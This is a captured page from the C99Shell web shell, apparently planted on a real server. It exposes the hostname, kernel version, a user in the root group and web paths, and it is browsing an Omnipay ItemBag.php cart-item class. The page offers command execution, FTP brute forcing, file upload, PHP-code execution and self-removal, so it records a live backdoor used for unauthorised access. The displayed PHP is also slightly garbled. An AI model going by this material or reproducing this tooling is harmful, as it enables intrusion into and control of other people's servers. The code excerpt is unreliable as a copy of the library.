!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/omnipay/common/src/Common/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemBag.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Cart Item Bag
 */

namespace Omnipay\Common;

/**
 * Cart Item Bag
 *
 * This class defines a bag (multi element set or array) of single cart items
 * in the Omnipay system.
 *
 */
class ItemBag implements \IteratorAggregate\Countable
{
    
/**
     * Item storage
     *
     *
     * @var array
     */
    
protected $items;

    
/**
     * Constructor
     *
     * @param array $items An array of items
     */
    
public function __construct(array $items = array())
    {
        
$this->replace($items);
    }

    
/**
     * Return all the items
     *
     *
     * @return array An array of items
     */
    
public function all()
    {
        return 
$this->items;
    }

    
/**
     * Replace the contents of this bag with the specified items
     *
     *
     * @param array $items An array of items
     */
    
public function replace(array $items = array())
    {
        
$this->items = array();

        foreach (
$items as $item) {
            
$this->add($item);
        }
    }

    
/**
     * Add an item to the bag
     *
     *
     * @param ItemInterface|array $item An existing item, or associative array of item parameters
     */
    
public function add($item)
    {
        if (
$item instanceof ItemInterface) {
            
$this->items[] = $item;
        } else {
            
$this->items[] = new Item($item);
        }
    }

    
/**
     * Returns an iterator for items
     *
     * @return \ArrayIterator An \ArrayIterator instance
     */
    
public function getIterator(): \Traversable
    
{
        return new 
\ArrayIterator($this->items);
    }

    
/**
     * Returns the number of items
     *
     * @return int The number of items
     */
    
public function count(): int
    
{
        return 
count($this->items);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--